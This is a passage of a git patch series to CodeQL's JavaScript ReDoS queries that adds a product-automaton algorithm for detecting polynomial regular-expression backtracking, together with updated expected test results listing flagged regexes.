b71a7c944d7..cc4156cd780 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -123,6 +123,23 @@ private class RegexpCharacterConstant extends RegExpConstant { RegexpCharacterConstant() { this.isCharacter() } } +/** + * Holds if `term` is the chosen cannonical representative for all terms with string representation `str`. + * + * Using cannonical representatives gives a huge performance boost when working with tuples containing multiple `InputSymbol`s. + * The number of `InputSymbol`s is decreased by 3 orders of magnitude or more in some larger benchmarks. + */ +private predicate isCannonicalTerm(RegExpTerm term, string str) { + term = + rank[1](RegExpTerm t, Location loc, File file | + loc = t.getLocation() and + file = t.getFile() and + str = t.getRawValue() + | + t order by t.getFile().getRelativePath(), loc.getStartLine(), loc.getStartColumn() + ) +} + /** * An abstract input symbol, representing a set of concrete characters. */ @@ -133,11 +150,11 @@ private newtype TInputSymbol = } or /** * An input symbol representing all characters matched by - * (non-universal) character class `recc`. + * a (non-universal) character class that has string representation `charClassString`. */ - CharClass(RegExpTerm recc) { - getRoot(recc).isRelevant() and - ( + CharClass(string charClassString) { + exists(RegExpTerm term | term.getRawValue() = charClassString | getRoot(term).isRelevant()) and + exists(RegExpTerm recc | isCannonicalTerm(recc, charClassString) | recc instanceof RegExpCharacterClass and not recc.(RegExpCharacterClass).isUniversalClass() or @@ -168,8 +185,11 @@ private predicate sharesRoot(TInputSymbol a, TInputSymbol b) { private predicate belongsTo(TInputSymbol a, RegExpRoot root) { exists(RegExpTerm term | getRoot(term) = root | a = Char(term.(RegexpCharacterConstant).getValue().charAt(_)) - or - a = CharClass(term) + ) + or + exists(string str, RegExpTerm term | a = CharClass(str) | + term.getRawValue() = str and + getRoot(term) = root ) } @@ -182,7 +202,7 @@ class InputSymbol extends TInputSymbol { string toString() { this = Char(result) or - result = any(RegExpTerm recc | this = CharClass(recc)).toString() + this = CharClass(result) or this = Dot() and result = "." or @@ -228,7 +248,10 @@ private module CharacterClasses { */ pragma[noinline] predicate hasChildThatMatches(RegExpCharacterClass cc, string char) { - exists(CharClass(cc)) and + exists(string str | + isCannonicalTerm(cc, str) and + exists(CharClass(str)) + ) and exists(RegExpTerm child | child = cc.getAChild() | char = child.(RegexpCharacterConstant).getValue() or @@ -324,7 +347,9 @@ private module CharacterClasses { private class PositiveCharacterClass extends CharacterClass { RegExpCharacterClass cc; - PositiveCharacterClass() { this = CharClass(cc) and not cc.isInverted() } + PositiveCharacterClass() { + exists(string str | isCannonicalTerm(cc, str) | this = CharClass(str) and not cc.isInverted()) + } override string getARelevantChar() { result = getAMentionedChar(cc) } @@ -337,7 +362,9 @@ private module CharacterClasses { private class InvertedCharacterClass extends CharacterClass { RegExpCharacterClass cc; - InvertedCharacterClass() { this = CharClass(cc) and cc.isInverted() } + InvertedCharacterClass() { + exists(string str | isCannonicalTerm(cc, str) | this = CharClass(str) and cc.isInverted()) + } override string getARelevantChar() { result = nextChar(getAMentionedChar(cc)) or @@ -374,7 +401,11 @@ private module CharacterClasses { private class PositiveCharacterClassEscape extends CharacterClass { RegExpCharacterClassEscape cc; - PositiveCharacterClassEscape() { this = CharClass(cc) and cc.getValue() = ["d", "s", "w"] } + PositiveCharacterClassEscape() { + exists(string str | isCannonicalTerm(cc, str) | + this = CharClass(str) and cc.getValue() = ["d", "s", "w"] + ) + } override string getARelevantChar() { cc.getValue() = "d" and @@ -407,7 +438,11 @@ private module CharacterClasses { private class NegativeCharacterClassEscape extends CharacterClass { RegExpCharacterClassEscape cc; - NegativeCharacterClassEscape() { this = CharClass(cc) and cc.getValue() = ["D", "S", "W"] } + NegativeCharacterClassEscape() { + exists(string str | isCannonicalTerm(cc, str) | + this = CharClass(str) and cc.getValue() = ["D", "S", "W"] + ) + } override string getARelevantChar() { cc.getValue() = "D" and @@ -490,13 +525,13 @@ predicate delta(State q1, EdgeLabel lbl, State q2) { cc.isUniversalClass() and q1 = before(cc) and lbl = Any() and q2 = after(cc) or q1 = before(cc) and - lbl = CharClass(cc) and + lbl = CharClass(cc.getRawValue()) and q2 = after(cc) ) or exists(RegExpCharacterClassEscape cc | q1 = before(cc) and - lbl = CharClass(cc) and + lbl = CharClass(cc.getRawValue()) and q2 = after(cc) ) or diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 37af14d4f0b..70675486c39 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -15,7 +15,7 @@ | regexplib/email.js:25:106:25:117 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/email.js:25:212:25:223 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | | regexplib/email.js:25:251:25:262 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:32:10:32:25 | (?:\\w[\\.\\-\\+]?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | +| regexplib/email.js:32:10:32:25 | (?:\\w[\\.\\-\\+]?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | regexplib/email.js:33:16:33:22 | [-.\\w]* | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:33:38:33:51 | ([0-9a-zA-Z])+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@' and containing many repetitions of '00.'. | | regexplib/email.js:33:53:33:58 | [-\\w]* | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | @@ -41,7 +41,7 @@ | regexplib/strings.js:57:17:57:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | | regexplib/strings.js:81:17:81:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | | regexplib/uri.js:3:128:3:129 | .* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// /' and containing many repetitions of '/'. | -| regexplib/uri.js:3:200:3:215 | (?:\\&?\\w+\\=\\w+)* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// a="' and containing many repetitions of '0=0'. | +| regexplib/uri.js:3:200:3:215 | (?:\\&?\\w+\\=\\w+)* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// a="' and containing many repetitions of 'a=0'. | | regexplib/uri.js:5:42:5:43 | .* | This part of the regular expression may cause exponential backtracking on strings starting with 'A:\\\\a' and containing many repetitions of '\\\\a'. | | regexplib/uri.js:17:42:17:43 | .* | This part of the regular expression may cause exponential backtracking on strings starting with 'A:\\\\a' and containing many repetitions of '\\\\a'. | | regexplib/uri.js:38:35:38:40 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'a.' and containing many repetitions of 'a'. | @@ -109,7 +109,7 @@ | tst.js:227:20:227:20 | b | This part of the regular expression may cause exponential backtracking on strings starting with 'W' and containing many repetitions of 'bW'. | | tst.js:239:16:239:17 | ab | This part of the regular expression may cause exponential backtracking on strings starting with 'a' and containing many repetitions of 'ab'. | | tst.js:245:15:245:21 | [\\n\\s]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. | -| tst.js:254:87:254:89 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' and containing many repetitions of '0foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. | +| tst.js:254:87:254:89 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' and containing many repetitions of 'afoobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. | | tst.js:257:14:257:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' thisisagoddamnlongstringforstresstestingthequery'. | | tst.js:260:14:260:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'thisisagoddamnlongstringforstresstestingthequery'. | | tst.js:272:21:272:22 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. | From 636937422482b4495dd70223101d5e7d2420df1b Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Tue, 15 Dec 2020 23:34:34 +0100 Subject: [PATCH 0323/1241] implement new algorithm for detecting superlinear backtracking in regular expressions --- .../security/performance/ReDoSUtil.qll | 2 + .../performance/SuperlinearBackTracking.qll | 435 ++++++++-- .../ReDoS/PolynomialBackTracking.expected | 760 +++++++++++------- .../ReDoS/PolynomialReDoS.expected | 130 ++- .../Performance/ReDoS/polynomial-redos.js | 54 +- 5 files changed, 946 insertions(+), 435 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index cc4156cd780..f345f24920f 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -561,6 +561,8 @@ predicate delta(State q1, EdgeLabel lbl, State q2) { lbl = Epsilon() and q2 = Accept(root) ) or + exists(RegExpRoot root | q1 = Match(root, 0) | lbl = Any() and q2 = q1) + or exists(RegExpDollar dollar | q1 = before(dollar) | lbl = Epsilon() and q2 = Accept(getRoot(dollar)) ) diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index df1eaf8f764..c43a96bd05b 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -6,6 +6,349 @@ import javascript import ReDoSUtil +/* + * This module implements the analysis described in the paper: + * Valentin Wustholz, Oswaldo Olivo, Marijn J. H. Heule, and Isil Dillig: + * Static Detection of DoS Vulnerabilities in + * Programs that use Regular Expressions + * (Extended Version). + * (https://arxiv.org/pdf/1701.04045.pdf) + * + * Theorem 3 from the paper describes the basic idea. + * + * The following explains the idea using variables and predicate names that are used in the implementation: + * We consider a pair of repetitions, which we will call `pivot` and `succ`. + * + * We create a product automaton of 3-tuples of states (see `StateTuple`). + * There exists a transition `(a,b,c) -> (d,e,f)` in the product automaton + * iff there exists three transitions in the NFA `a->d, b->e, c->f` where those three + * transitions all match a shared character `char`. (see `getAThreewayIntersect`) + * + * We start a search in the product automaton at `(pivot, pivot, succ)`, + * and search for a series of transitions (a `Trace`), such that we end + * at `(pivot, succ, succ)` (see `isReachableFromStartTuple`). + * + * For example, consider the regular expression `/^\d*5\w*$/`. + * The search will start at the tuple `(\d*, \d*, \w*)` and search + * for a path to `(\d*, \w*, \w*)`. + * This path exists, and consists of a single transition in the product automaton, + * where the three corresponding NFA edges all match the character `"5"`. + * + * The start-state in the NFA has an any-transition to itself, this allows us to + * flag regular expressions such as `/a*$/` - which does not have a start anchor - + * and can thus start matching anywhere. + * + * The implementation is not perfect. + * It has the same suffix detection issue as the `js/redos` query, which can cause false positives. + * It also doesn't find all transitions in the product automaton, which can cause false negatives. + */ + +/** + * An instantiaion of `ReDoSConfiguration` for superliniear ReDoS. + */ +class SuperLiniearReDoSConfiguration extends ReDoSConfiguration { + SuperLiniearReDoSConfiguration() { this = "SuperLiniearReDoSConfiguration" } + + override predicate isReDoSCandidate(State state, string pump) { isPumpable(_, state, pump) } +} + +/** + * Gets any root (start) state of a regular expression. + */ +private State getRootState() { result = Match(any(RegExpRoot r), 0) } + +/** + * A state in the product automaton. + * The product automaton contains 3-tuples of states. + * + * We lazily only construct those states that we are actually + * going to need. + * Either a start state `(pivot, pivot, succ)`, or a state + * where there exists a transition from an already existing state. + * + * The exponential variant of this query (`js/redos`) uses an optimization + * trick where `q1 <= q2`. This trick cannot be used here as the order + * of the elements matter. + */ +newtype TStateTuple = + MkStateTuple(State q1, State q2, State q3) { + // starts at (pivot, pivot, succ) + isStartLoops(q1, q3) and q1 = q2 + or + step(_, _, _, _, q1, q2, q3) and FeasibleTuple::isFeasibleTuple(q1, q2, q3) + } + +class StateTuple extends TStateTuple { + State q1; + State q2; + State q3; + + StateTuple() { this = MkStateTuple(q1, q2, q3) } + + string toString() { result = "(" + q1 + ", " + q2 + ", " + q3 + ")" } + + pragma[noinline] + predicate isTuple(State r1, State r2, State r3) { r1 = q1 and r2 = q2 and r3 = q3 } +} + +/** + * A module for determining feasible tuples for the product automaton. + * + * The implementation is split into many predicates for performance reasons. + */ +private module FeasibleTuple { + /** + * Holds if the tuple `(r1, r2, r3)` might be on path from a start-state to an end-state in the product automaton. + */ + predicate isFeasibleTuple(State r1, State r2, State r3) { + // The first element is either inside a repetition (or the start state itself) + isRepeitionOrStart(r1) and + // The last element is inside a repetition + stateInsideRepetition(r3) and + // The states are reachable in the NFA in the order r1 -> r2 -> r3 + delta+(r1) = r2 and + delta+(r2) = r3 and + // The last element can reach a target (the "succ" state in a `(pivot, succ)` pair). + canReachATarget(r3) and + // The first element can reach a beginning (the "pivot" state in a `(pivot, succ)` pair). + canReachABeginning(r1) + } + + /** + * Holds if `s` is either inside a repetition, or is the start state (which is a repetition). + */ + pragma[noinline] + private predicate isRepeitionOrStart(State s) { stateInsideRepetition(s) or s = getRootState() } + + /** + * Holds if state `s` might be inside a backtracking repetition. + */ + pragma[noinline] + private predicate stateInsideRepetition(State s) { + s.getRepr().getParent*() instanceof InfiniteRepetitionQuantifier + } + + /** + * Holds if there exists a path in the NFA from `s` to a "pivot" state + * (from a `(pivot, succ)` pair that starts the search). + */ + pragma[noinline] + private predicate canReachABeginning(State s) { + delta+(s) = any(State pivot | isStartLoops(pivot, _)) + } + + /** + * Holds if there exists a path in the NFA from `s` to a "succ" state + * (from a `(pivot, succ)` pair that starts the search). + */ + pragma[noinline] + private predicate canReachATarget(State s) { delta+(s) = any(State succ | isStartLoops(_, succ)) } +} + +/** + * Holds if `pivot` and `succ` are a pair of loops that could be the beginning of a quadratic blowup. + * + * There is a slight implementation difference compared to the paper: this predicate require that `pivot != succ`. + * The case where `pivot = succ` causes exponential backtracking and is handled by the `js/redos` query. + */ +predicate isStartLoops(State pivot, State succ) { + pivot != succ and + succ.getRepr() instanceof InfiniteRepetitionQuantifier and + delta+(pivot) = succ and + ( + pivot.getRepr() = any(InfiniteRepetitionQuantifier i) + or + pivot = Match(any(RegExpRoot root), 0) + ) +} + +/** + * Gets a state for which there exists a transition in the NFA from `s'. + */ +State delta(State s) { delta(s, _, result) } + +/** + * Holds if there are transitions from the components of `q` to the corresponding + * components of `r` labelled with `s1`, `s2`, and `s3`, respectively. + */ +pragma[noinline] +predicate step(StateTuple q, InputSymbol s1, InputSymbol s2, InputSymbol s3, StateTuple r) { + exists(State r1, State r2, State r3 | + step(q, s1, s2, s3, r1, r2, r3) and r = MkStateTuple(r1, r2, r3) + ) +} + +/** + * Holds if there are transitions from the components of `q` to `r1`, `r2`, and `r3 + * labelled with `s1`, `s2`, and `s3`, respectively. + */ +pragma[noopt] +predicate step( + StateTuple q, InputSymbol s1, InputSymbol s2, InputSymbol s3, State r1, State r2, State r3 +) { + exists(State q1, State q2, State q3 | q.isTuple(q1, q2, q3) | + deltaClosed(q1, s1, r1) and + deltaClosed(q2, s2, r2) and + deltaClosed(q3, s3, r3) and + // use noopt to force the join on `getAThreewayIntersect` to happen last. + exists(getAThreewayIntersect(s1, s2, s3)) + ) +} + +/** + * Gets a char that is matched by all the edges `s1`, `s2`, and `s3`. + * + * The result is not complete, and might miss some combination of edges that share some character. + */ +pragma[noinline] +string getAThreewayIntersect(InputSymbol s1, InputSymbol s2, InputSymbol s3) { + result = intersect(s1, s2) and result = [intersect(s2, s3), intersect(s1, s3)] + or + result = intersect(s1, s3) and result = [intersect(s2, s3), intersect(s1, s2)] + or + result = intersect(s2, s3) and result = [intersect(s1, s2), intersect(s1, s3)] +} + +private newtype TTrace = + Nil() or + Step(InputSymbol s1, InputSymbol s2, InputSymbol s3, TTrace t) { + exists(StateTuple p | + isReachableFromStartTuple(_, _, p, t, _) and + step(p, s1, s2, s3, _) + ) + or + exists(State pivot, State succ | isStartLoops(pivot, succ) | + t = Nil() and step(MkStateTuple(pivot, pivot, succ), s1, s2, s3, _) + ) + } + +/** + * A list of tuples of input symbols that describe a path in the product automaton + * starting from some start state. + */ +class Trace extends TTrace { + string toString() { + this = Nil() and result = "Nil()" + or + exists(InputSymbol s1, InputSymbol s2, InputSymbol s3, Trace t | this = Step(s1, s2, s3, t) | + result = "Step(" + s1 + ", " + s2 + ", " + s3 + ", " + t + ")" + ) + } +} + +/** + * Gets a string corresponding to the trace `t`. + */ +string concretise(Trace t) { + t = Nil() and result = "" + or + exists(InputSymbol s1, InputSymbol s2, InputSymbol s3, Trace rest | t = Step(s1, s2, s3, rest) | + result = concretise(rest) + getAThreewayIntersect(s1, s2, s3) + ) +} + +/** + * Holds if there exists a transition from `r` to `q` in the product automaton. + * Notice that the arguments are flipped, and thus the direction is backwards. + */ +pragma[noinline] +predicate tupleDeltaBackwards(StateTuple q, StateTuple r) { step(r, _, _, _, q) } + +/** + * Holds if `tuple` is an end state in our search. + * That means there exists a pair of loops `(pivot, succ)` such that `tuple = (pivot, succ, succ)`. + */ +predicate isEndTuple(StateTuple tuple) { tuple = getAnEndTuple(_, _) } + +/** + * Gets the minimum length of a path from `r` to some an end state `end`. + * + * The implementation searches backwards from the end-tuple. + * This approach was chosen because it is way more efficient if the first predicate given to `shortestDistances` is small. + * The `end` argument must always be an end state. + */ +int distBackFromEnd(StateTuple r, StateTuple end) = + shortestDistances(isEndTuple/1, tupleDeltaBackwards/2)(end, r, result) + +/** + * Holds if there exists a pair of repetitions `(pivot, succ)` in the regular expression such that: + * `tuple` is reachable from `(pivot, pivot, succ)` in the product automaton, + * and there is a distance of `dist` from `tuple` to the nearest end-tuple `(pivot, succ, succ)`, + * and a path from a start-state to `tuple` follows the transitions in `trace`. + */ +predicate isReachableFromStartTuple(State pivot, State succ, StateTuple tuple, Trace trace, int dist) { + // base case. The first step is inlined to start the search after all possible 1-steps, and not just the ones with the shortest path. + exists(InputSymbol s1, InputSymbol s2, InputSymbol s3, State q1, State q2, State q3 | + isStartLoops(pivot, succ) and + step(MkStateTuple(pivot, pivot, succ), s1, s2, s3, tuple) and + tuple = MkStateTuple(q1, q2, q3) and + trace = Step(s1, s2, s3, Nil()) and + dist = distBackFromEnd(tuple, MkStateTuple(pivot, succ, succ)) + ) + or + // recursive case + exists(StateTuple p, Trace v, InputSymbol s1, InputSymbol s2, InputSymbol s3 | + isReachableFromStartTuple(pivot, succ, p, v, dist + 1) and + dist = isReachableFromStartTupleHelper(pivot, succ, tuple, p, s1, s2, s3) and + trace = Step(s1, s2, s3, v) + ) +} + +/** + * Helper predicate for the recursive case in `isReachableFromStartTuple`. + */ +pragma[noinline] +private int isReachableFromStartTupleHelper( + State pivot, State succ, StateTuple r, StateTuple p, InputSymbol s1, InputSymbol s2, + InputSymbol s3 +) { + result = distBackFromEnd(r, MkStateTuple(pivot, succ, succ)) and + step(p, s1, s2, s3, r) +} + +/** + * Gets the tuple `(pivot, succ, succ)` from the product automaton. + */ +StateTuple getAnEndTuple(State pivot, State succ) { + isStartLoops(pivot, succ) and + result = MkStateTuple(pivot, succ, succ) +} + +/** + * Holds if matching repetitions of `pump` can: + * 1) Transition from `pivot` back to `pivot`. + * 2) Transition from `pivot` to `succ`. + * 3) Transition from `succ` to `succ`. + * + * From theorem 3 in the paper linked in the top of this file we can therefore conclude that + * the regular expression has polynomial backtracking - if a rejecting suffix exists. + * + * This predicate is used by `SuperLiniearReDoSConfiguration`, and the final results are + * available in the `hasReDoSResult` predicate. + */ +predicate isPumpable(State pivot, State succ, string pump) { + exists(StateTuple q, Trace t | + isReachableFromStartTuple(pivot, succ, q, t, _) and + q = getAnEndTuple(pivot, succ) and + pump = concretise(t) + ) +} + +/** + * Holds if repetitions of `pump` at `t` will cause polynomial backtracking. + */ +predicate polynimalReDoS(RegExpTerm t, string msg) { + exists(string pump, State s, string prefixMsg | + hasReDoSResult(t, pump, s, prefixMsg) and + exists(State pivot | + isPumpable(pivot, s, _) and + msg = + "Strings " + prefixMsg + "with many repetitions of '" + pump + + "' can start matching anywhere after the start of the preceeding " + pivot.getRepr() + ) + ) +} + /** * Holds if `t` matches at least an epsilon symbol. * @@ -35,68 +378,6 @@ private predicate matchesEpsilon(RegExpTerm t) { forex(RegExpTerm child | child = t.(RegExpSequence).getAChild() | matchesEpsilon(child)) } -/** - * Gets a term that matches the symbol immediately before `t` is done matching. - * - * Examples: - * - * - For `d` in `abc?de` this gets `b`, `c`, `c?` (in addition to `d`). - * - For `(bc|de)` in `a(bc|de)f` this gets `c` and `e` (in addition to `bc|de` and `(bc|de)`). - */ -private RegExpTerm getAMatchPredecessor(RegExpTerm t) { - result = t - or - exists(RegExpTerm recurse | result = getAMatchPredecessor(recurse) | - // wrappers depend on their children - recurse = t.getAChild() and - ( - t instanceof RegExpAlt - or - t instanceof RegExpGroup - or - t instanceof RegExpQuantifier - ) - or - recurse = t.(RegExpSequence).getLastChild() - or - recurse = t.(RegExpBackRef).getGroup() - or - // recurse past epsilon terms - matchesEpsilon(t) and recurse = t.getPredecessor() - ) -} - -private RegExpCharacterClassEscape unwrapCharacterClassEscape(RegExpTerm t) { - t = result or - t.(RegExpCharacterClass).getAChild() = result -} - -pragma[inline] -private predicate compatibleConstants(RegExpTerm t1, RegExpTerm t2) { - exists(string s1, string s2 | - s1 = t1.getAMatchedString() and s2 = t2.getAMatchedString() - or - unwrapCharacterClassEscape(t1).getValue() = s1 and - unwrapCharacterClassEscape(t2).getValue() = s2 - | - s1 = s2 - ) -} - -/** - * Holds if `s1` and `s2` possibly have a non-empty intersection. - * - * This is a simple, and under-approximate, version of - * ReDoS::compatible/2, as this predicate only handles some character - * classes and constant values. - */ -pragma[inline] -private predicate compatible(RegExpTerm s1, RegExpTerm s2) { - not s1.(RegExpCharacterClass).isInverted() and - not s2.(RegExpCharacterClass).isInverted() and - compatibleConstants(s1, s2) -} - /** * A term that may cause a regular expression engine to perform a * polynomial number of match attempts, relative to the input length. @@ -105,33 +386,9 @@ class PolynomialBackTrackingTerm extends InfiniteRepetitionQuantifier { string reason; PolynomialBackTrackingTerm() { - // the regexp may fail to match ... - exists(RegExpTerm succ | this.getSuccessor+() = succ | not matchesEpsilon(succ)) and - ( - // ... and while failing, it will try to start matching at all positions of a long string - forall(RegExpTerm pred | pred = this.getPredecessor+() | matchesEpsilon(pred)) and - reason = "it can start matching anywhere" - or - exists(RegExpTerm pred | - pred instanceof InfiniteRepetitionQuantifier - or - forall(RegExpTerm predpred | predpred = pred.getPredecessor+() | matchesEpsilon(predpred)) - | - pred = getAMatchPredecessor(this.getPredecessor()) and - ( - // compatible children - compatible(pred.getAChild(), this.getAChild()) - or - // or `this` is compatible with everything (and the predecessor is something) - unique( | | this.getAChild()) instanceof RegExpDot and - exists([pred, pred.getAChild()].getAMatchedString()) - ) and - reason = - "it can start matching anywhere after the start of the preceeding '" + pred.toString() + - "'" - ) - ) and - not this.getParent*() instanceof RegExpSubPattern // too many corner cases + polynimalReDoS(this, _) and + // there might be many reasons for this term to have polynomial backtracking - we pick an arbitary one. + reason = min(string msg | polynimalReDoS(this, msg)) } /** diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index 6d52e525d6c..7d8945d761e 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -1,306 +1,454 @@ -| polynomial-redos.js:7:24:7:26 | \\s+ | it can start matching anywhere | -| polynomial-redos.js:8:17:8:18 | * | it can start matching anywhere | -| polynomial-redos.js:9:19:9:21 | \\s* | it can start matching anywhere | -| polynomial-redos.js:11:19:11:20 | .* | it can start matching anywhere | -| polynomial-redos.js:12:19:12:20 | .* | it can start matching anywhere | -| polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | it can start matching anywhere after the start of the preceeding '\\s*' | -| polynomial-redos.js:18:17:18:22 | [0-9]* | it can start matching anywhere | -| polynomial-redos.js:18:83:18:100 | [\\u0600-\\u06FF\\/]+ | it can start matching anywhere | -| polynomial-redos.js:19:17:19:22 | [0-9]* | it can start matching anywhere | -| polynomial-redos.js:20:56:20:58 | \\d+ | it can start matching anywhere after the start of the preceeding '\\d*' | -| polynomial-redos.js:20:56:20:58 | \\d+ | it can start matching anywhere after the start of the preceeding '\\d+' | -| polynomial-redos.js:22:57:22:59 | \\d+ | it can start matching anywhere after the start of the preceeding '\\d*' | -| polynomial-redos.js:22:57:22:59 | \\d+ | it can start matching anywhere after the start of the preceeding '\\d+' | -| polynomial-redos.js:25:37:25:56 | [a-zA-Z0-9+\\/ \\t\\n]+ | it can start matching anywhere after the start of the preceeding '[ \\t]+' | -| polynomial-redos.js:25:63:25:64 | .* | it can start matching anywhere after the start of the preceeding '[=]*' | -| polynomial-redos.js:25:63:25:64 | .* | it can start matching anywhere after the start of the preceeding '[a-zA-Z0-9+\\/ \\t\\n]+' | -| polynomial-redos.js:27:14:27:22 | [A-Z]{2,} | it can start matching anywhere | -| polynomial-redos.js:30:19:30:22 | [?]+ | it can start matching anywhere | -| polynomial-redos.js:30:23:30:24 | .* | it can start matching anywhere after the start of the preceeding '[?]' | -| polynomial-redos.js:30:23:30:24 | .* | it can start matching anywhere after the start of the preceeding '[?]+' | -| polynomial-redos.js:31:42:31:43 | -+ | it can start matching anywhere | -| polynomial-redos.js:32:45:32:47 | \\n* | it can start matching anywhere | -| polynomial-redos.js:33:17:33:20 | (.)* | it can start matching anywhere | -| polynomial-redos.js:36:18:36:19 | .* | it can start matching anywhere after the start of the preceeding '<' | -| polynomial-redos.js:37:18:37:19 | .* | it can start matching anywhere after the start of the preceeding '<' | -| polynomial-redos.js:38:18:38:19 | .* | it can start matching anywhere after the start of the preceeding '<' | -| polynomial-redos.js:48:22:48:24 | \\s* | it can start matching anywhere | -| polynomial-redos.js:50:4:50:5 | .* | it can start matching anywhere after the start of the preceeding 'Y' | -| polynomial-redos.js:51:11:51:17 | (YH\|J)* | it can start matching anywhere after the start of the preceeding '(YH\|K)' | -| polynomial-redos.js:51:11:51:17 | (YH\|J)* | it can start matching anywhere after the start of the preceeding 'YH\|K' | -| polynomial-redos.js:52:12:52:13 | .* | it can start matching anywhere after the start of the preceeding '(YH\|K)' | -| polynomial-redos.js:52:12:52:13 | .* | it can start matching anywhere after the start of the preceeding 'K' | -| polynomial-redos.js:52:12:52:13 | .* | it can start matching anywhere after the start of the preceeding 'YH' | -| polynomial-redos.js:52:12:52:13 | .* | it can start matching anywhere after the start of the preceeding 'YH\|K' | -| polynomial-redos.js:53:3:53:8 | (B\|Y)+ | it can start matching anywhere | -| polynomial-redos.js:53:9:53:12 | (Y)* | it can start matching anywhere after the start of the preceeding '(B\|Y)' | -| polynomial-redos.js:53:9:53:12 | (Y)* | it can start matching anywhere after the start of the preceeding '(B\|Y)+' | -| polynomial-redos.js:53:9:53:12 | (Y)* | it can start matching anywhere after the start of the preceeding 'B\|Y' | -| polynomial-redos.js:54:4:54:9 | (B\|Y)+ | it can start matching anywhere | -| polynomial-redos.js:55:11:55:14 | (Y)* | it can start matching anywhere after the start of the preceeding '(B\|Y)+' | -| polynomial-redos.js:56:10:56:13 | (Y)* | it can start matching anywhere after the start of the preceeding '(B\|Y)+' | -| polynomial-redos.js:57:11:57:16 | (Y\|K)* | it can start matching anywhere after the start of the preceeding '(B\|Y)+' | -| polynomial-redos.js:58:11:58:12 | .* | it can start matching anywhere after the start of the preceeding '(B\|Y)+' | -| polynomial-redos.js:62:7:62:8 | Y* | it can start matching anywhere after the start of the preceeding 'Y*' | -| polynomial-redos.js:63:11:63:12 | Y* | it can start matching anywhere after the start of the preceeding '(K\|Y)+' | -| polynomial-redos.js:64:14:64:15 | Y* | it can start matching anywhere after the start of the preceeding '(K\|Y)+' | -| polynomial-redos.js:65:14:65:15 | .* | it can start matching anywhere after the start of the preceeding '(K\|Y)+' | -| polynomial-redos.js:66:9:66:10 | .* | it can start matching anywhere after the start of the preceeding '(K\|Y)' | -| polynomial-redos.js:66:9:66:10 | .* | it can start matching anywhere after the start of the preceeding 'K' | -| polynomial-redos.js:66:9:66:10 | .* | it can start matching anywhere after the start of the preceeding 'K\|Y' | -| polynomial-redos.js:66:9:66:10 | .* | it can start matching anywhere after the start of the preceeding 'Y' | -| polynomial-redos.js:67:8:67:9 | .* | it can start matching anywhere after the start of the preceeding '[^Y]' | -| polynomial-redos.js:68:8:68:9 | .* | it can start matching anywhere after the start of the preceeding '[^Y]' | -| polynomial-redos.js:69:8:69:9 | .* | it can start matching anywhere after the start of the preceeding '[^Y]' | -| polynomial-redos.js:75:18:75:19 | .* | it can start matching anywhere after the start of the preceeding '<' | -| polynomial-redos.js:77:18:77:19 | .* | it can start matching anywhere after the start of the preceeding 'Y' | -| polynomial-redos.js:78:25:78:31 | (YH\|J)* | it can start matching anywhere after the start of the preceeding '(YH\|K)' | -| polynomial-redos.js:78:25:78:31 | (YH\|J)* | it can start matching anywhere after the start of the preceeding 'YH\|K' | -| 